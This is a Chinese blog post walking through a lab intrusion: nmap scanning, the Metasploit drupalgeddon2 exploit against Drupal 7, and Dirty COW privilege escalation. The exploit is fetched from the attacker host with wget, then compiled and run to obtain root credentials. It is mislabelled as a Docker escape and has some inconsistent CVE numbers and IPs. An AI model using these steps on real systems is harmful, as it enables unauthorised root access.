统计
  • 建站日期:2021-03-10
  • 文章总数:114 篇
  • 评论总数:0 条
  • 分类总数:12 个
  • 最后更新:4月29日
文章 渗透测试

Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)

自由子
首页 渗透测试 正文

写在前边

目前的 Docker 逃逸的原因可以划分为三种:

 

1、由内核引起的的dirty cow实现逃逸----CVE-2019-5195

2、软件程序引起的docker逃逸漏洞----CVE-2019-5736

3、docker配置不当引起的----privileged(特权模式)逃逸、docket remote api未授权访问导致逃逸等

由内核漏洞引起 ——Dirty COW(CVE-2016-5195)

原理:

Linux 内核的子系统在处理写入时复制(copy-on-write, COW)至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。

竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。

影响版本:

该漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权。

信息收集

靶机:192.168.200.49

KALI:192.168.200.14

靶场环境页面:


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第1
张图片

1、通过nmap扫描存活主机,确认靶机IP

nmap -sP  192.168.200.0/24 -T4 

通过靶机的MAC地址能更准确的确认靶机的IP地址


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第2
张图片

2、扫描靶机的开放端口和服务

nmap -sV -p-  192.168.200.49 


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第3
张图片

确认开放的端口为:22、80、1898

打开192.168.200.49


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第4
张图片

192.168.200.49:1898


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第5
张图片

从此WEB页面下探测信息

可以查到CMS为 Drupal 7


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第6
张图片

3、使用msf内置exp


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第7
张图片

选择(exploit/unix/webapp/drupal_drupalgeddon2)进行利用


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第8
张图片


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第9
张图片

输入指令等待即可


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第10
张图片

当前是低权限用户

exploit/run
shell #转换为有回显的shell


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第11
张图片


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第12
张图片

此时查看所有文件,但是无法访问root文件夹

ls -al #列出所有文件,包括隐藏文件

cd root


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第13
张图片

靶机的内核版本


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第14
张图片

脏牛提权

1、使用searchsploit工具找到提权脚本


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第15
张图片

找到本地文件的具体位置,不损坏原文件将脚本文件复制到/home/kali目录下

searchsploit dirty
locate linux/local/40847.cpp #定位40847.cpp的位置
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp #将40847.cpp复制到/tmp目录下

2、将文件上传到靶机上,并执行

1、在/home/kali目录下起http服务。

然后目标主机通过wget下载到本地,然后将.cpp文件编译得到一个可执行文件,直接执行就能得到root账号的密码

python -m http.server 8899 


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第16
张图片

3、在目标主机下载40847.cpp文件,并进行编译成40847可执行文件

wget http://192.168.200.14:8899/40847.cpp


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第17
张图片

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
ls -al #列出所有文件和目录,包括隐藏文件

Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
pedantic 允许发出ANSI/ISO C标准所列出的所有警告
O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
std=c++11就是用按C++2011标准来编译的
pthread 在Linux中要用到多线程时,需要链接pthread库
o 40847.gcc生成的目标文件,名字为40847


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第18
张图片

4、执行,得到root账户和密码

./40847  #得到root的密码为dirtyCowFun


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第19
张图片

第一、去靶机登录或者ssh远程登录(22端口开放)

用户名root,密码dirtyCowFun


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第20
张图片

第二、利用ssh远程登录

ssh root@192.168.179.157
dirtyCowFun


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第21
张图片

第三、在此处直接切root用户是不行的,需要开一个终端

python -c 'import pty; pty.spawn("/bin/bash")'

现在是一个shell会话,开启一个终端后,好比是一个sh连接的,交互式的shell。

例如,xshell连接的时候,会弹出一个框,让输入密码,命令里面添加用户的时候,下一步提示你要输入密码才能执行,一条命令输出后,要是没有交互式的话,对方会一直卡在输入命令那里。

所以这个漏洞要用到这个交互式,没有交互式将会用不了,一条命令输出去后,相当于被执行,但有些命令执行后,他有个交互式,要询问ok或者yes或no,所以要搞个交互式这个命令才能回显,正常成功打开交互,执行脚本文件


Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
-纵横安全网-渗透测试-软件开发-前端开发-PHP全栈
-第22
张图片

提权总结:

过程

  1. 探测目标和端口
  2. MSF搜索可利用CMS工具,构建连接

扫描二维码,在手机上阅读

版权说明
文章采用: 《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权。
版权声明:未标注转载均为本站原创,转载时请以链接形式注明文章出处。如有侵权、不妥之处,请联系站长删除。敬请谅解!

-- 展开阅读全文 --
前端技能汇总
« 上一篇
IDA Pro 8.3破解版自行领取
下一篇 »
为了防止灌水评论,登录后即可评论!

HI ! 请登录
注册会员,享受下载全站资源特权。

最新评论

标签